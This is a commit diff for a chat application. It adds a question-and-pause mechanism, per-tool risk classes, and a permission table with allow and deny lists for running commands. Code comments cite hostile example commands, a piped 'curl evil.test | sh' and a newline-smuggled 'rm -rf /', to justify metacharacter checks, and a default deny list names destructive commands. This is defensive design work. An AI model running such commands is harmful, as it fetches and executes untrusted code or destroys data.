A reply can stop and ask you something

Three features turn out to be one mechanism: a command waiting to be
approved, a question the model wants answered, and "this reply is waiting
for you" are all — stop the generation, put an interactive block in the
bubble, wait for a POST, carry on. So there is one primitive, and the only
thing using it so far is `ask_user`: a model can offer you a few answers
and a box to write your own.

The shell executor is not here yet. This lands first on purpose, because
it is the riskiest machinery in the feature and it is worth having working
before any subprocess exists to complicate it.

Two things about where the pause sits. It pauses a round, not a call: a
round's calls run together under a semaphore, and parking four coroutines
on four separate answers inside that gather would queue them behind each
other invisibly. And Stop had to be taught about it — `cancel` is read
between streamed chunks and there are no chunks while paused, so the
button did nothing at all until `request_stop` learned to resolve the
pause itself.

Also here: a risk class on every tool (read, write, execute), which is
what the four permission modes will be a table over, and the systemd unit
loses ProtectKernelTunables. That last one is not tidying — it
bind-mounts /proc/sys read-only, which stops bubblewrap mounting /proc at
all, and the obvious workaround would expose this process's environment
and with it the encryption key.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
This commit is contained in:
Jaroslav Beneš
2026-08-01 19:30:44 +02:00
parent ecadb66414
commit 1c659a5640
19 changed files with 1662 additions and 17 deletions
+36
View File
@@ -0,0 +1,36 @@
"""Agentic execution: running commands and touching files on the model's behalf.
Four parts, and the split is the safety argument. `policy` decides what may
happen without asking and knows nothing about how anything runs. `base` is the
interface a target implements. `local` runs on this machine inside a bubblewrap
sandbox that cannot see the database or the encryption key; `ssh` runs on
somebody else's machine, where nothing is sandboxed and the credential is the
whole of the trust.
The mode is enforced in the generation loop, not in the prompt. A model is told
which mode it is in so it can behave sensibly, but being told is not what stops
it: everything it reads is untrusted, and a rule written only into a system
message is a rule a poisoned README can argue with.
"""
from lembas.services.agent.policy import (
MODE_AUTO,
MODE_EDIT,
MODE_MANUAL,
MODE_PLAN,
MODES,
Decision,
Limits,
decide,
)
__all__ = [
"MODES",
"MODE_AUTO",
"MODE_EDIT",
"MODE_MANUAL",
"MODE_PLAN",
"Decision",
"Limits",
"decide",
]
+184
View File
@@ -0,0 +1,184 @@
"""What an agent chat is allowed to do without asking.
Four modes, one table, indexed by what a tool does to the world. Adding a mode
is a row; adding a risk class is a column. Anything that needs an `if mode ==`
somewhere else in the codebase is a sign this table is wrong rather than that
the table is insufficient.
The important thing about all of it: **this is consulted in the generation loop,
not written into the prompt.** A mode a model is merely told about is a mode a
model can be talked out of, and everything a model reads -- a web page, a
README, the output of a command it just ran -- is untrusted text that may be
trying to do exactly that.
"""
from __future__ import annotations
import re
from dataclasses import dataclass
from fnmatch import fnmatch
from lembas.services.tools import RISK_ASK, RISK_EXECUTE, RISK_READ, RISK_WRITE
MODE_MANUAL = "manual"
MODE_EDIT = "edit"
MODE_AUTO = "auto"
MODE_PLAN = "plan"
MODES = (MODE_MANUAL, MODE_EDIT, MODE_AUTO, MODE_PLAN)
MODE_LABELS = {
MODE_MANUAL: "Manual",
MODE_EDIT: "Edit",
MODE_AUTO: "Auto",
MODE_PLAN: "Plan",
}
MODE_HINTS = {
MODE_MANUAL: "Everything is shown to you before it happens.",
MODE_EDIT: "Files are read and written freely; commands are shown to you first.",
MODE_AUTO: "Nothing is shown to you first. Only for work you would do yourself.",
MODE_PLAN: "Reads freely, changes nothing, and finishes by proposing a plan.",
}
ALLOW = "allow"
ASK = "ask"
# The whole feature. Read across a row to see what a mode means.
POLICY: dict[str, dict[str, str]] = {
MODE_MANUAL: {RISK_READ: ASK, RISK_WRITE: ASK, RISK_EXECUTE: ASK},
MODE_EDIT: {RISK_READ: ALLOW, RISK_WRITE: ALLOW, RISK_EXECUTE: ASK},
MODE_AUTO: {RISK_READ: ALLOW, RISK_WRITE: ALLOW, RISK_EXECUTE: ALLOW},
MODE_PLAN: {RISK_READ: ALLOW, RISK_WRITE: ASK, RISK_EXECUTE: ASK},
}
# A shell metacharacter makes a command line unmatchable, so it falls through to
# the mode's own verdict rather than to an allow-list entry. Without this,
# `git *` in an allow list also matches `git status; curl evil.test | sh`, which
# is the whole ballgame. A deny list needs no such rule: failing open there
# returns you to the mode, while failing open on an allow list runs the command.
_UNSAFE = re.compile(r"[;&|<>`$\n\\()]")
@dataclass(frozen=True)
class Decision:
verdict: str
reason: str = ""
@dataclass(frozen=True)
class Limits:
"""What one agent reply may spend.
Three axes because they fail differently. Steps stop a loop; wall clock
stops a single slow command eating an afternoon; output stops a model
filling its own context with build logs and having no room left to answer.
"""
steps: int = 40
wall_seconds: float = 900.0
output_bytes: int = 1024 * 1024
def subject(tool_name: str, command: str = "") -> str | None:
"""What a pattern is matched against, or None when nothing may match it.
For everything but a command it is the tool name, so `file_read` in an
allow list means "reading files never asks". For `shell_run` it is the
command line, normalised -- unless it contains anything that composes two
commands into one, in which case no pattern is allowed to match at all.
"""
if tool_name != "shell_run":
return tool_name
raw = command or ""
# Checked BEFORE whitespace is normalised. Collapsing runs of whitespace
# first would turn "git status\nrm -rf /" into a single innocent-looking
# line and let it match `git *` -- a newline separates two commands exactly
# as a semicolon does.
if _UNSAFE.search(raw):
return None
line = " ".join(raw.split())
return line or None
def _matches(patterns: tuple[str, ...], candidate: str | None) -> str:
if candidate is None:
return ""
for pattern in patterns:
if fnmatch(candidate, pattern):
return pattern
return ""
def decide(
*,
mode: str,
risk: str,
tool_name: str,
command: str = "",
allow: tuple[str, ...] = (),
deny: tuple[str, ...] = (),
) -> Decision:
"""What to do about one call.
The order is the design:
1. A deny wins before everything, **including Auto**. A deny list that Auto
ignores is not a deny list, it is a suggestion.
2. `ask` never resolves to allow. `ask_user` asks in every mode; that is
what the tool is for, and a mode that skipped it would answer the
model's question on the reader's behalf.
3. An allow-list hit runs it.
4. Otherwise the table.
An unrecognised mode is treated as Manual, not Auto: a row that predates a
rename has to fail towards asking.
"""
candidate = subject(tool_name, command)
hit = _matches(deny, candidate)
if hit:
return Decision(ASK, f"{hit}” is on the list of commands to always ask about.")
if risk == RISK_ASK:
return Decision(ASK, "")
if mode not in POLICY:
return Decision(ASK, f"{mode}” is not a mode I know, so I am asking.")
hit = _matches(allow, candidate)
if hit:
return Decision(ALLOW, f"{hit}” is on the list of things to allow.")
verdict = POLICY[mode].get(risk, ASK)
if verdict == ALLOW:
return Decision(ALLOW, "")
label = MODE_LABELS.get(mode, mode)
return Decision(ASK, f"{label} mode asks before anything that {_verb(risk)}.")
def _verb(risk: str) -> str:
return {
RISK_READ: "reads",
RISK_WRITE: "changes a file",
RISK_EXECUTE: "runs a command",
}.get(risk, "does this")
__all__ = [
"ALLOW",
"ASK",
"MODES",
"MODE_AUTO",
"MODE_EDIT",
"MODE_HINTS",
"MODE_LABELS",
"MODE_MANUAL",
"MODE_PLAN",
"POLICY",
"Decision",
"Limits",
"decide",
"subject",
]
+13 -1
View File
@@ -51,7 +51,7 @@ from lembas.services import fetch as fetch_service
from lembas.services import tool_access
from lembas.services.crypto import decrypt
from lembas.services.prompts import VARIABLE_PATTERN
from lembas.services.tools import ToolContext, ToolDef, ToolOutcome
from lembas.services.tools import RISK_READ, RISK_WRITE, ToolContext, ToolDef, ToolOutcome
log = logging.getLogger(__name__)
@@ -141,11 +141,23 @@ def tool_defs(
description=row.description or f"Call the {row.name} tool.",
parameters=_schema_of(row),
run=_runner(spec_from(row)),
risk=_risk_of(row),
)
for row in tool_access.visible_custom_tools(db, user, everything=everything)
]
def _risk_of(row: CustomTool) -> str:
"""What calling this tool does to the world, as far as the method says.
The method is all there is to go on, and it is a reasonable proxy: GET and
HEAD are defined to be safe, and everything else is a request to change
something. Guessing wrong in the cautious direction only means an agent
chat asks about a call it need not have.
"""
return RISK_READ if (row.method or "GET").upper() in ("GET", "HEAD") else RISK_WRITE
def _schema_of(row: CustomTool) -> dict[str, Any]:
schema = dict(row.parameters_json or {})
if schema.get("type") != "object":
+156 -5
View File
@@ -17,8 +17,10 @@ from __future__ import annotations
import asyncio
import contextlib
import json
import logging
import time
import uuid
from dataclasses import dataclass, field
from datetime import UTC, datetime, timedelta
@@ -28,9 +30,9 @@ from lembas.db.models import ROLE_ASSISTANT, ROLE_USER, Chat, Message, User
from lembas.db.session import session_scope
from lembas.services import chat as chat_service
from lembas.services import compaction as compaction_service
from lembas.services import interaction, tokens
from lembas.services import metrics as metrics_service
from lembas.services import prompts as prompts_service
from lembas.services import tokens
from lembas.services import tools as tools_service
from lembas.services.llm.openai_client import (
LLMError,
@@ -41,6 +43,7 @@ from lembas.services.llm.openai_client import (
stream_chat,
)
from lembas.services.reasoning import REASONING, ReasoningSplitter
from lembas.services.tools import ToolOutcome
log = logging.getLogger(__name__)
@@ -108,6 +111,16 @@ class Generation:
finished_at: datetime | None = None
cancel: bool = False
# Set while the reply is stopped waiting for a person -- an approval, or a
# question the model asked. None at every other moment. Read by `_follow`,
# which sends the card, and by `request_stop`, which resolves it: `cancel`
# is otherwise only ever read between streamed chunks, and there are no
# chunks while this is set.
pending: interaction.Interruption | None = None
# Seconds spent waiting for a person, cumulative. Taken off the wall-clock
# budget so that thinking time is the model's and not the reader's.
waited: float = 0.0
def touch(self) -> None:
self.version += 1
@@ -134,12 +147,47 @@ def request_stop(message_id: str) -> bool:
if generation is None or generation.done:
return False
generation.cancel = True
# A paused reply produces no chunks, and the chunk loop is the only place
# `cancel` is ever read -- so without this, Stop does nothing at all while
# an approval card is on screen. Resolving the pause is the wakeup; `_run`
# then takes its ordinary stopped path rather than needing a second branch.
if generation.pending is not None:
generation.pending.resolve(interaction.CANCELLED)
return True
def answer(chat_id: str, interaction_id: str, *, choice: str, text: str) -> bool:
"""Resolve whichever running reply is parked on this interruption.
A linear scan of the registry: it holds one entry per reply in flight, and
this runs at human speed. Scoped to the chat because the caller has already
checked that this reader owns *that* chat, and an id alone would not.
"""
for generation in _RUNNING.values():
pending = generation.pending
if generation.chat_id != chat_id or pending is None or pending.id != interaction_id:
continue
outcome = choice if choice in _ANSWERS else interaction.ANSWER
return pending.resolve(outcome, text=text or choice)
return False
_ANSWERS = (interaction.ALLOW, interaction.ALLOW_ALWAYS, interaction.DENY)
def _prune() -> None:
cutoff = datetime.now(UTC) - KEEP_FINISHED
now = time.monotonic()
for message_id, generation in list(_RUNNING.items()):
# A paused reply is deliberately not `done` -- a page reload has to be
# able to reattach to it. Its timeout is what stops it lingering, and
# this is the belt to that pair of braces: a deadline long past means
# the timeout did not fire, and a task parked forever is worse than one
# that gives up.
pending = generation.pending
if pending is not None and now > pending.expires_at + KEEP_FINISHED.total_seconds():
log.warning("resolving a stuck interaction on message %s", message_id)
pending.resolve(interaction.EXPIRED)
if generation.done and generation.finished_at and generation.finished_at < cutoff:
_RUNNING.pop(message_id, None)
_TASKS.pop(message_id, None)
@@ -339,10 +387,18 @@ async def _run(generation: Generation) -> None:
tools_service.assistant_turn(calls, "".join(round_text)),
]
# Decided before anything runs, never during. A round's calls run
# together under a semaphore, and four people-shaped pauses inside
# that gather would queue behind each other invisibly -- see
# services/interaction.py.
decided = await _authorise(generation, tool_context, calls)
if generation.stopped:
break
generation.status = _tool_status(calls)
generation.touch()
try:
outcomes = await _run_calls(tool_context, calls)
outcomes = await _run_calls(tool_context, calls, decided=decided)
finally:
generation.status = ""
generation.touch()
@@ -488,7 +544,98 @@ def _tool_status(calls: list[dict]) -> str:
return f"Running {len(calls)} tools…"
async def _run_calls(context, calls: list[dict]) -> list:
def _ask_items(context, calls: list[dict]) -> list[interaction.Item]:
"""Which of this round's calls need a person, and what to show about each.
Looked up through `context.tools`, the map of what was actually offered --
the same authority `run_tool` uses. A name that is not in it is left alone
here and refused there, so an unknown tool cannot smuggle itself past by
being unclassifiable.
"""
book = context.tools if context.tools is not None else tools_service.REGISTRY
items: list[interaction.Item] = []
for index, call in enumerate(calls):
tool = book.get(call["name"])
if tool is None or tool.risk != tools_service.RISK_ASK:
continue
try:
args = json.loads(call["arguments"] or "{}")
except json.JSONDecodeError:
args = {}
if not isinstance(args, dict):
args = {}
options = [str(o).strip() for o in (args.get("options") or []) if str(o).strip()]
items.append(
interaction.Item(
index=index,
kind=interaction.KIND_QUESTION,
tool_name=call["name"],
title=str(args.get("question") or "").strip() or "A question for you",
options=tuple(options[: interaction.MAX_OPTIONS]),
)
)
return items
async def _authorise(generation, context, calls: list[dict]) -> dict[int, ToolOutcome]:
"""Which of this round's calls may run, and what the others answer instead.
Returns outcomes keyed by the call's index. Every index the caller does not
find here is cleared to run; every index it does find is answered without
the runner being reached at all. That is what keeps
`zip(calls, outcomes, strict=True)` aligned -- an endpoint matching on
`tool_call_id` pairs the wrong content with the right id otherwise.
"""
items = _ask_items(context, calls)
if not items:
return {}
timeout = float(context.interaction_timeout or 900)
pause = interaction.build(uuid.uuid4().hex, items, timeout=timeout)
generation.status = interaction.summarise(pause.items)
reply = await interaction.wait_for(generation, pause, timeout=timeout)
generation.status = ""
if reply.ended:
generation.stopped = True
return {}
return {item.index: _answered(item, reply) for item in items}
def _answered(item: interaction.Item, reply: interaction.Reply) -> ToolOutcome:
"""One question's answer, as the model will read it back."""
event = {
"name": item.tool_name,
"kind": "ask",
"label": "Asked you",
"query": item.title,
"results": [],
}
if reply.outcome == interaction.EXPIRED:
return ToolOutcome(
"They did not answer. Carry on as best you can without it, or say "
"what you still need.",
{**event, "status": "error", "error": "No answer.", "text": ""},
)
answer_text = reply.text.strip()
if not answer_text:
return ToolOutcome(
"They closed the question without answering.",
{**event, "status": "error", "error": "No answer.", "text": ""},
)
return ToolOutcome(
f"They answered: {answer_text}",
{**event, "status": "ok", "text": answer_text},
)
async def _run_calls(
context, calls: list[dict], *, decided: dict[int, ToolOutcome] | None = None
) -> list:
"""Run one round's calls together, results in call order.
Sequential was right when every tool was a local database read. A remote one
@@ -507,11 +654,15 @@ async def _run_calls(context, calls: list[dict]) -> list:
"""
limit = asyncio.Semaphore(MAX_PARALLEL_TOOLS)
async def one(call: dict):
async def one(index: int, call: dict):
# Already answered by a person, or refused before it got here. It still
# occupies its index, because the tool turns have to line up.
if decided and index in decided:
return decided[index]
async with limit:
return await tools_service.run_tool(context, call["name"], call["arguments"])
return list(await asyncio.gather(*(one(call) for call in calls)))
return list(await asyncio.gather(*(one(i, c) for i, c in enumerate(calls))))
def _pending_text(db, message: Message) -> str:
+189
View File
@@ -0,0 +1,189 @@
"""Pausing a reply to ask the person reading it something.
Three features turn out to be one mechanism. A command that needs approving, a
question the model wants answered, and "this reply is waiting for you" are all:
stop the generation, put an interactive block in the bubble, wait for a POST,
carry on. So there is one primitive, and approval is a shape of question rather
than a separate machine.
Two things about where it sits matter.
**It pauses a round, not a call.** A round's tool calls run together under a
semaphore, and parking four coroutines on four separate answers inside that
gather would queue them behind each other invisibly -- and the reader would get
four cards, answerable in any order, for commands whose order matters. So one
card describes everything in the round that needs a decision, and the calls that
survive it run concurrently exactly as they did before.
**Stop has to keep working.** `generation.cancel` is read in one place, between
streamed chunks, and there are no chunks while paused. Rather than a second
poller, `generation.request_stop` resolves the pause directly; see the comment
there. Nothing in this module reaches back into `services.generation`, which is
what keeps it testable on its own.
"""
from __future__ import annotations
import asyncio
import time
from dataclasses import dataclass, field
from typing import TYPE_CHECKING
if TYPE_CHECKING: # pragma: no cover - annotation only
from lembas.services.generation import Generation
KIND_APPROVAL = "approval"
KIND_QUESTION = "question"
# How a pause ended.
ALLOW = "allow"
ALLOW_ALWAYS = "allow_always"
DENY = "deny"
ANSWER = "answer"
CANCELLED = "cancelled" # Stop was pressed while the card was showing
EXPIRED = "expired" # nobody answered in time
# Outcomes that mean "go ahead".
PERMITTED = (ALLOW, ALLOW_ALWAYS)
# A card offering more than this many buttons is a card nobody reads.
MAX_OPTIONS = 6
@dataclass(frozen=True)
class Item:
"""One thing being asked about.
`index` is the position of the call in its round, so a decision can be
matched back to the call it was about -- the tool turns have to line up with
the assistant turn's `tool_calls` or an endpoint pairs the wrong result with
the right id.
"""
index: int
kind: str
tool_name: str
title: str
detail: str = ""
reason: str = ""
options: tuple[str, ...] = ()
allow_free_text: bool = True
@dataclass
class Interruption:
"""A reply, stopped, waiting for one answer to cover every item."""
id: str
items: tuple[Item, ...]
expires_at: float = 0.0
_future: asyncio.Future | None = field(default=None, repr=False, compare=False)
@property
def kind(self) -> str:
return KIND_QUESTION if any(i.kind == KIND_QUESTION for i in self.items) else KIND_APPROVAL
@property
def options(self) -> tuple[str, ...]:
for item in self.items:
if item.options:
return item.options
return ()
@property
def allow_free_text(self) -> bool:
return any(item.allow_free_text for item in self.items)
def resolve(self, outcome: str, *, text: str = "") -> bool:
"""Complete this pause. Idempotent -- a second answer is ignored.
Returns whether this call was the one that answered it, which is what
the endpoint reports back: a card answered twice (two tabs, a double
click) should say so rather than pretend.
"""
if self._future is None or self._future.done():
return False
self._future.set_result(Reply(outcome=outcome, text=text))
return True
@dataclass(frozen=True)
class Reply:
outcome: str
text: str = ""
@property
def permitted(self) -> bool:
return self.outcome in PERMITTED
@property
def ended(self) -> bool:
"""Whether this outcome means the whole reply should stop."""
return self.outcome == CANCELLED
def build(
interaction_id: str, items: list[Item] | tuple[Item, ...], *, timeout: float
) -> Interruption:
"""An interruption with its future attached, ready to be waited on."""
return Interruption(
id=interaction_id,
items=tuple(items),
expires_at=time.monotonic() + timeout,
_future=asyncio.get_running_loop().create_future(),
)
async def wait_for(
generation: Generation, interruption: Interruption, *, timeout: float
) -> Reply:
"""Park the generation on this interruption until somebody answers.
Sets `generation.pending` and touches, so the follower sends the card on its
next frame; clears both in `finally`, so answering makes it disappear. The
time spent here accumulates on `generation.waited` and is taken off the
reply's wall-clock budget -- a reader who thinks for ten minutes about one
command should not thereby spend the whole allowance.
"""
generation.pending = interruption
generation.touch()
started = time.monotonic()
try:
return await asyncio.wait_for(asyncio.shield(interruption._future), timeout)
except TimeoutError:
return Reply(outcome=EXPIRED)
finally:
generation.waited += time.monotonic() - started
generation.pending = None
generation.touch()
def summarise(items: tuple[Item, ...]) -> str:
"""What to show in the status line while the card is up."""
if not items:
return ""
if items[0].kind == KIND_QUESTION:
return "Waiting for your answer…"
if len(items) == 1:
return f"Waiting for you to allow {items[0].tool_name}"
return f"Waiting for you to allow {len(items)} actions…"
__all__ = [
"ALLOW",
"ALLOW_ALWAYS",
"ANSWER",
"CANCELLED",
"DENY",
"EXPIRED",
"KIND_APPROVAL",
"KIND_QUESTION",
"MAX_OPTIONS",
"PERMITTED",
"Interruption",
"Item",
"Reply",
"build",
"summarise",
"wait_for",
]
+6 -1
View File
@@ -27,7 +27,7 @@ from lembas.services import tool_access
from lembas.services.fetch import FetchError
from lembas.services.mcp import client
from lembas.services.mcp.protocol import McpError
from lembas.services.tools import FAMILY_MCP, ToolContext, ToolDef, ToolOutcome
from lembas.services.tools import FAMILY_MCP, RISK_WRITE, ToolContext, ToolDef, ToolOutcome
log = logging.getLogger(__name__)
@@ -138,6 +138,11 @@ def tool_defs(
description=entry.get("description") or f"{name}, from {server.name}.",
parameters=entry.get("schema") or {"type": "object", "properties": {}},
run=_runner(spec, name, offered),
# Conservative, because nothing in tools/list says. A server
# calling something `search` may still be filing a ticket
# with it, and the cost of being wrong this way is a
# question nobody needed to answer.
risk=RISK_WRITE,
)
)
+68
View File
@@ -23,6 +23,7 @@ GENERAL = "general"
AUDIO = "audio"
SEARCH = "search"
PROMPTS = "prompts"
AGENTS = "agents"
def _general_defaults() -> dict[str, Any]:
@@ -44,6 +45,58 @@ def _general_defaults() -> dict[str, Any]:
}
def _agents_defaults() -> dict[str, Any]:
"""Agentic execution: running commands, on this machine or over SSH.
Local execution is an instance decision rather than a personal one, because
the sandbox runs on this machine and its blast radius is this machine. SSH
profiles belong to whoever made them, but whether SSH exists here at all
does not.
Everything is off until an administrator turns it on. That is not caution
for its own sake: a model reads web pages, files and command output, all of
which are untrusted, so shell access is a capability somebody has to choose
on purpose.
"""
return {
"local_enabled": False,
"ssh_enabled": False,
"bwrap_path": "bwrap",
# Read-only paths every sandbox sees, on top of /usr and the /lib
# symlinks. The deployment prefix is never here, and a bind containing
# the data directory is refused when the sandbox is built rather than
# trusted to a careful administrator.
"ro_binds": [
"/etc/ssl",
"/etc/ca-certificates",
"/etc/resolv.conf",
# /etc/resolv.conf is a symlink into here on a systemd-resolved box,
# and binding the symlink alone leaves it dangling.
"/run/systemd/resolve",
],
# Off by default, and the single most valuable setting in this group: an
# instruction injected through a file the model read cannot send
# anything anywhere from a sandbox with no network.
"network": False,
"default_timeout": 60,
"max_timeout": 600,
"max_output_bytes": 64 * 1024,
"ulimit_fsize_mb": 64,
"ulimit_nproc": 128,
# Per reply. See services/agent/policy.py:Limits.
"max_steps": 40,
"max_wall_seconds": 900,
"max_total_output_bytes": 1024 * 1024,
"workspace_max_bytes": 512 * 1024 * 1024,
# How long a reply waits for someone to answer. Clamped on read: a zero
# here would park a background task forever.
"approval_timeout": 900,
"allow_default": ["file_read", "file_list", "ls *", "pwd", "git status"],
"deny_default": ["shutdown *", "reboot *", "mkfs*"],
"ask_free_text": True,
}
def _audio_defaults() -> dict[str, Any]:
"""Speech-to-text and text-to-speech endpoints.
@@ -111,6 +164,7 @@ _DEFAULTS: dict[str, Any] = {
AUDIO: _audio_defaults,
SEARCH: _search_defaults,
PROMPTS: _prompts_defaults,
AGENTS: _agents_defaults,
}
@@ -175,3 +229,17 @@ def audio(db: DBSession) -> dict[str, Any]:
def search(db: DBSession) -> dict[str, Any]:
return get_group(db, SEARCH)
def agents(db: DBSession) -> dict[str, Any]:
"""Agent settings, with the two numbers that must not be zero clamped.
`approval_timeout` of 0 would park a background task on a question nobody
is going to answer, and nothing else prunes a generation that is not
finished. Clamped on read rather than on save, so a value already stored by
an earlier version cannot bite either.
"""
values = get_group(db, AGENTS)
values["approval_timeout"] = min(max(int(values.get("approval_timeout") or 0), 60), 3600)
values["max_timeout"] = min(max(int(values.get("max_timeout") or 0), 1), 3600)
return values
+109 -3
View File
@@ -68,8 +68,20 @@ FAMILY_SKILLS = "skills"
FAMILY_CUSTOM = "custom"
FAMILY_MCP = "mcp"
# Stopping to ask the reader something. Its own family because it belongs to no
# other one: it is offered in an ordinary chat as much as an agent chat, and it
# is the only tool the model cannot resolve by itself.
FAMILY_ASK = "ask"
# The built-in families, in the order they are offered.
FAMILIES = (FAMILY_SEARCH, FAMILY_KNOWLEDGE, FAMILY_NOTES, FAMILY_MEMORY, FAMILY_SKILLS)
FAMILIES = (
FAMILY_SEARCH,
FAMILY_KNOWLEDGE,
FAMILY_NOTES,
FAMILY_MEMORY,
FAMILY_SKILLS,
FAMILY_ASK,
)
GATES = (*FAMILIES, FAMILY_CUSTOM, FAMILY_MCP)
@@ -79,6 +91,20 @@ def gate_of(family: str) -> str:
return family.split(":", 1)[0]
# What a tool does to the world. Only agent chats consult it -- an ordinary chat
# behaves exactly as it always did -- but it is declared on every tool, because
# the permission modes are a table indexed by it and a tool whose class is a
# guess is a tool whose gate is a guess.
RISK_READ = "read"
RISK_WRITE = "write"
RISK_EXECUTE = "execute"
# Never resolves to "allowed", in any mode. `ask_user` is the only tool that
# carries it: stopping to ask is the whole of what it does.
RISK_ASK = "ask"
RISKS = (RISK_READ, RISK_WRITE, RISK_EXECUTE, RISK_ASK)
@dataclass
class ToolContext:
"""What a tool needs to do its work, without holding a session open.
@@ -98,6 +124,10 @@ class ToolContext:
# the import-time registry. A dict, *even an empty one*, is authoritative:
# a model naming a tool it was not offered must not get it run.
tools: dict[str, ToolDef] | None = None
# How long a reply waits for someone to answer a question or approve
# something. Read from the instance settings while the session was open,
# like everything else here.
interaction_timeout: float = 900.0
@dataclass
@@ -123,6 +153,11 @@ class ToolDef:
description: str
parameters: dict[str, Any]
run: Runner
# Declared rather than derived from the name: `notes_edit` and
# `knowledge_get` are not told apart by spelling, and the consequence of
# guessing is that a mode silently permits something it meant to ask about.
# Defaulted so that reading is what a tool has to be talked out of.
risk: str = RISK_READ
@property
def schema(self) -> dict[str, Any]:
@@ -514,6 +549,31 @@ async def _run_skill_edit(context: ToolContext, args: dict[str, Any]) -> ToolOut
# --- The registry ------------------------------------------------------------
# --- Asking the reader -------------------------------------------------------
async def _run_ask_user(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
"""Never reached on the normal path.
`services.generation` intercepts every `ask` call before the runners are
reached, because the answer comes from a person and `ToolContext` is a
session-free snapshot that deliberately holds no way to reach one. Getting
here means some other path called `run_tool` directly, and saying so is
better than returning an empty answer the model would treat as a reply.
"""
question = str(args.get("question") or "").strip()
return ToolOutcome(
"That question could not be put to anyone, so it has gone unanswered. "
"Carry on without it, or say what you need.",
{
"name": "ask_user",
"kind": "ask",
"query": question,
"status": "error",
"error": "No one was there to ask.",
"results": [],
},
)
REGISTRY: dict[str, ToolDef] = {
tool.name: tool
for tool in (
@@ -592,6 +652,7 @@ REGISTRY: dict[str, ToolDef] = {
["title", "body"],
),
run=_run_notes_create,
risk=RISK_WRITE,
),
ToolDef(
name="notes_edit",
@@ -599,6 +660,7 @@ REGISTRY: dict[str, ToolDef] = {
description="Change a note you can write to. Omit a field to leave it alone.",
parameters=_object({"id": _STRING, "title": _STRING, "body": _STRING}, ["id"]),
run=_run_notes_edit,
risk=RISK_WRITE,
),
ToolDef(
name="notes_delete",
@@ -606,6 +668,7 @@ REGISTRY: dict[str, ToolDef] = {
description="Delete a note that is no longer true or useful.",
parameters=_object({"id": _STRING}, ["id"]),
run=_run_notes_delete,
risk=RISK_WRITE,
),
ToolDef(
name="memory_add",
@@ -621,6 +684,7 @@ REGISTRY: dict[str, ToolDef] = {
["content"],
),
run=_run_memory_add,
risk=RISK_WRITE,
),
ToolDef(
name="memory_forget",
@@ -631,6 +695,7 @@ REGISTRY: dict[str, ToolDef] = {
),
parameters=_object({"content": _STRING}, ["content"]),
run=_run_memory_forget,
risk=RISK_WRITE,
),
ToolDef(
name="skill_get",
@@ -660,6 +725,7 @@ REGISTRY: dict[str, ToolDef] = {
["name", "description", "body"],
),
run=_run_skill_create,
risk=RISK_WRITE,
),
ToolDef(
name="skill_edit",
@@ -678,6 +744,45 @@ REGISTRY: dict[str, ToolDef] = {
["name"],
),
run=_run_skill_edit,
risk=RISK_WRITE,
),
ToolDef(
name="ask_user",
family=FAMILY_ASK,
description=(
"Ask the person you are talking to a question, and wait for their "
"answer before going on. Use it when you genuinely need a decision "
"only they can make — which of several approaches to take, a "
"detail you cannot infer, permission for something consequential. "
"Offer options when there is a small set of sensible answers; they "
"can always type something else instead. Do not use it for "
"anything you can work out yourself, and never ask for a password, "
"a key or any other secret."
),
parameters=_object(
{
"question": {
**_STRING,
"description": "One clear question, in plain language.",
},
"options": {
"type": "array",
"items": _STRING,
"description": (
"Up to six answers to offer as buttons. Optional; they "
"can always write their own."
),
},
},
["question"],
),
# Never resolved by this runner. The reader answers it, in every
# mode, and the loop turns their answer into the outcome -- see
# services/interaction.py. The runner exists so that a call reaching
# it by some path that skipped the loop fails loudly rather than
# silently returning nothing.
run=_run_ask_user,
risk=RISK_ASK,
),
)
}
@@ -703,11 +808,11 @@ def _family_allowed(
and config.get("enabled")
and not search_service.availability(str(config.get("provider") or "ddgs"))
)
if gate in (FAMILY_CUSTOM, FAMILY_MCP):
if gate in (FAMILY_CUSTOM, FAMILY_MCP, FAMILY_ASK):
# Deliberately without `library.use`: an HTTP endpoint an administrator
# wrote has nothing to do with this person's own documents and notes,
# and requiring the library permission for it would be a coincidence of
# naming rather than a rule.
# naming rather than a rule. The same goes for being asked a question.
return bool(allowed.get(f"tools.{gate}"))
return bool(allowed.get(f"tools.{gate}") and allowed.get("library.use"))
@@ -812,6 +917,7 @@ def context_for(
search_config=settings_store.search(db),
base_ids=[base.id for base in chat.knowledge_bases] if chat is not None else [],
tools=tools.by_name if tools is not None else None,
interaction_timeout=float(settings_store.agents(db)["approval_timeout"]),
)